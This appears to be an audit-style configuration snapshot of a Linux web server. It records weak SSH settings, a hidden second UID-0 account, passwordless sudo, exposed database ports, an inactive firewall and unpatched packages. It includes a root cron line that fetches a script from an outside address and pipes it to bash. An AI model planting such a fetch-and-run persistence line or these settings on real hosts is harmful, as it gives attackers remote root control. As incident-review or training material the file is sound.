HOST CONFIGURATION SNAPSHOT
host: web01   collected: 2026-07-21T10:40:00Z
========================================================================

## Operating system
Ubuntu 20.04.6 LTS
Kernel 5.4.0-150-generic
Last apt upgrade: 2024-11-03   (packages 8 months behind)

## SSH server (/etc/ssh/sshd_config, effective)
PermitRootLogin yes
PasswordAuthentication yes
PermitEmptyPasswords no
X11Forwarding yes
MaxAuthTries 12
Protocol 2

## Local accounts (UID 0)
root:x:0:0:root:/root:/bin/bash
svc_backup:x:0:0::/root:/bin/bash

## Sudoers (/etc/sudoers.d)
deploy ALL=(ALL) NOPASSWD: ALL

## Listening services (ss -tlnp)
0.0.0.0:22    sshd
0.0.0.0:80    nginx
0.0.0.0:3306  mysqld
0.0.0.0:6379  redis-server
127.0.0.1:5432 postgres

## Firewall (ufw status)
Status: inactive

## Notable file permissions
-rwxrwxrwx 1 root root  640 /var/www/config/db.php
-rw-r--r-- 1 root root  1.2K /root/.ssh/authorized_keys   (modified 2026-07-21 08:53)
-rw-rw-rw- 1 root root   88 /etc/cron.d/backup            (modified 2026-07-21 08:53)

## Cron (/etc/cron.d/backup)
*/10 * * * * root curl -s http://203.0.113.47/b.sh | bash

## Installed packages of note
openssl 1.1.1f  (CVE-2023-0286 unpatched)
sudo 1.8.31     (CVE-2021-3156 unpatched)
log4j not present
